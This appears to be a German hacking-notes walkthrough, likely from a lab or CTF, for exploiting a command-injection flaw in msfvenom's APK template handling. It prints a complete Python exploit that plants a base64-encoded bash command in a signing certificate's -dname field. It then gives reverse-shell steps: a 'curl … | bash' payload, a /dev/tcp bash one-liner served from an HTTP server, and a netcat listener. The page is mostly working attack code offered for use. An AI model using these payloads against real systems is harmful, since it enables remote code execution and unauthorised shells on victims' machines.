> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/msfvenom-apk-exploitation.md).
# APK mit Msfvenom
## msfvenom APK-Vorlagen-Befehlsinjektion
Ein verwundbarer Dienst wird auf Port 5000 identifiziert.
Suche nach verwandten Schwachstellen:
```bash
searchsploit -m multiple/local/49491.py
```
Eine potenzielle APK-basierte Injektion wird identifiziert.
**Exploit-Skript (msfvenom-exploit.py)**
```bash
python3 msfvenom-exploit.py
```
```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode
# Änder mich
payload = 'ping 10.10.14.50'
# b64encode, um Badchars zu vermeiden (keytool ist wählerisch)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"
print(f"[+] Erzeuge bösartige APK-Datei")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()
tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"
# empty_file anlegen
open(empty_file, "w").close()
# apk_file erstellen
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Signaturschlüssel mit bösartigem -dname erzeugen
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
"-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])
# APK mit unserem bösartigen dname signieren
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
"-storepass", storepass, "-keypass", keypass, apk_file, key_alias])
print()
print(f"[+] Fertig! apkfile befindet sich bei {apk_file}")
print(f"Ausführen: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```
Das Skript erzeugt eine temporäre Datei, die eine bösartige APK enthält.
**ICMP-Paketanalyse**
Überwache die Netzwerkaktivität auf einen Callback:
```bash
tcpdump -i tun0 icmp -n
```
### **RCE-Ausnutzung mit Msfvenom**
Passe die Payload an, um eine Reverse-Verbindung herzustellen:
```bash
# Änder mich
payload = 'curl 10.10.14.50 | bash'
```
Erstelle ein `index.html` Datei mit:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```
Starte einen HTTP-Server:
```bash
python3 -m http.server 80
```
Dann warte auf die Verbindung auf Port 443:
```bash
nc -nlvp 443
```
Sobald die APK gesendet und auf dem Zielsystem ausgeführt wird, wird eine Remote-Shell erhalten.
---
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